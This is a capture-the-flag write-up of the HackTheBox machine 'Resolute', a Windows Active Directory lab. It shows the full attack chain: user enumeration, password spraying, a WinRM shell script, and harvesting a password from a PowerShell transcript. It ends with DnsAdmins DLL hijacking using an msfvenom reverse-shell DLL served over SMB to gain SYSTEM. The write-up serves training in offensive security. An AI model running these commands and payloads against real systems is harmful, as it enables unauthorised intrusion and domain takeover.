Resolute is a Windows machine considered easy/medium and Active Directory oriented. An anonymous login allows you to list accounts in the domain and identify a default password. Obtaining a shell thtough WinRM allows then to list the domain properties and to find a password for a user member of the local “DnsAdmins” group. Privilege escalation is done through a DLL hijacking.
Disclaimer : It is a rather quick presentation that deliberately omits the various research areas. Only the actual results and a quick approach are presented.
Discovery / Enumeration
A quick port scan gives us running services on the machine.
$ sudo nmap -sS -T4 -p0-10000 -sV -O -sC 10.10.10.169 -v
Nmap scan report for 10.10.10.169
Host is up (0.13s latency).
Not shown: 9988 closed ports
PORT STATE SERVICE VERSION
53/tcp open tcpwrapped
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-11 18:35:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
We manage to retrieve the domain and the different services tell us that we’re facing an Active Directory domain controler.
We quickly find that it is possible to request the AD without prior authentication. This behavior allow us to get several informations such as the user list. In the accounts description, we can see what seems to be a default password for the user marko, interesting !
$ enum4linux -a 10.10.10.169
=============================
| Users on 10.10.10.169 |
=============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)
Important : In order to avoid DNS resolution trouble, don’t forget to add machine entries in the resolv.conf
and hosts
files.
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kalinux
10.10.10.169 megabank.local
$ cat /etc/resolv.conf
search megabank.local
nameserver 10.10.10.169
Default password and user shell
We indicates the note Account created. Password set to Welcome123!
for user marko. At this stage, we can think about a default password set by system administrators.
We build a simple user wordlist based on the previously retrieved ones and try to log in with each of them.
$ crackmapexec smb 10.10.10.169 -u user_list -p 'Welcome123!'
CME 10.10.10.169:445 RESOLUTE [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:MEGABANK)
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\abigail:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\Administrator:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\angela:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\annette:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\annika:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\claire:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\claude:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\felicia:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\fred:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\Guest:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\gustavo:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\krbtgt:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\marcus:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\marko:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [+] MEGABANK\melanie:Welcome123!
[*] KTHXBYE!
The user melanie
is then owned !
However, this account is not an administrator and possibilities for remote command execution are limited.
This is where WinRM (Windows Remote Management) comes in. It is a Microsoft HTTP service/protocol, based on WS-Management (SOAP) that allows remote administration of Windows machines.
Back to our nmap scan, the port 5985, used by default by WinRM, is open.
Several ways to exploit it. I chose to use the following Ruby script.
$ cat winrm_shell.rb
require 'winrm'
conn = WinRM::Connection.new(
endpoint: 'http://10.10.10.169:5985/wsman',
user: 'MEGABANK\melanie',
password: 'Welcome123!',
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
print "PS > "
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
Which give the first machine access and the first flag !
$ ruby winrm_shell.rb
PS > whoami
megabank\melanie
PS > type ../Desktop/user.txt
0cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
PS >
Enumeration and second account compromission
A quick enumeration phase about users and groups indicates that ryan
is member of the Contractors
group, which is also member of the local DnsAdmins
group. This user could be interesting.
PS > net user ryan /domain
User name ryan
Full Name Ryan Bertrand
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/22/2020 9:15:02 AM
Password expires Never
Password changeable 2/23/2020 9:15:02 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users *Contractors
The command completed successfully.
PS > net localgroup DnsAdmins
Alias name DnsAdmins
Comment DNS Administrators Group
Members
-------------------------------------------------------------------------------
Contractors
The command completed successfully.
The next step is about file enumeration and information gathering. After several tries, we manage to get informations about the target account, left in a file on the disk.
PS > findstr /si ryan *.xml *.ini *.txt *.config *.sql *.php *.asp *.jsp *.bat *.vbs
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:Username: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:RunAs User: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:PS megabank\ryan@RESOLUTE Documents>
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:Username: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:RunAs User: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:Username: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:RunAs User: MEGABANK\ryan
findstr.exe : FINDSTR: Cannot open Windows\Panther\UnattendGC\diagerr.xml
+ CategoryInfo : NotSpecified: (FINDSTR: Cannot...dGC\diagerr.xml:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
FINDSTR: Cannot open Windows\Panther\UnattendGC\diagwrn.xml
FINDSTR: Cannot open Windows\PLA\System\System Diagnostics.xml
FINDSTR: Cannot open Windows\PLA\System\System Performance.xml
FINDSTR: Cannot open Windows\System32\Sysprep\Panther\diagerr.xml
FINDSTR: Cannot open Windows\System32\Sysprep\Panther\diagwrn.xml
By modifying the WinRM script used for the first user, we can get a new shell, using our fresh new access !
PS > whoami
megabank\ryan
PS > pwd
Path
----
C:\Users\ryan\Documents
Privilege escalation - DLL Hijacking
Some Internet research tells us a way to perform a privilege escalation on a Windows machine for a user who is a member of the DnsAdmins
group.
It is indeed possible to have the DLL of our choice loaded by the DNS service. This DLL will then be executed with SYSTEM privilege.
The following resources explain the vulnerability:
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise
- https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2
First step, generate a DLL containing a reverse shell to our machine.
$ sudo msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.28 LPORT=5566 -f dll > privesc.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 5120 bytes
Then, a simple and temporary SMB server, used to remotely load our DLL.
$ sudo smbserver.py MYSHARE /path/to/HackTheBox/Resolute -smb2support
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Last step of preparation, we run our handler in order to get the incoming connection.
Once this is done, the exploitation is rather fast and have to be fast. Indeed, I’m not able to say if it comes from a possible antivirus on the machine, detecting our malicious DLL, or a simple configuration in order to make the machine accessible to everyone, but it turns out that each user seems to have a limited time to exploit the vulnerability once the registry key is set up. After a while, the registry key is cleaned up.
Good! The first step is to tell the DNS server to fetch our malicious DLL.
PS > dnscmd 10.10.10.169 /config /serverlevelplugindll \\10.10.14.28\TESTLOL\privesc.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
We can confirm the command sucess by inspecting the associated registry key
PS > Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
ServerLevelPluginDll : \\10.10.14.28\TESTLOL\privesc.dll
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters\
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS
PSChildName : Parameters
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
Then, we have to restart the DNS service in order to let him load the DLL.
PS > sc.exe stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PS > sc.exe query dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PS > sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 3340
FLAGS :
And that’s how we can get a sweet meterpreter… :)
msf5 exploit(multi/handler) >
[*] Sending stage (206403 bytes) to 10.10.10.169
[*] Meterpreter session 1 opened (10.10.14.28:5566 -> 10.10.10.169:63985) at 2020-02-22 17:02:49 +0100
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > shell
Process 3288 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>c
… Allowing us to compromize the machine and giving us the root flag !
C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system
C:\Users\Administrator\Desktop>hostname
hostname
Resolute
w00ted !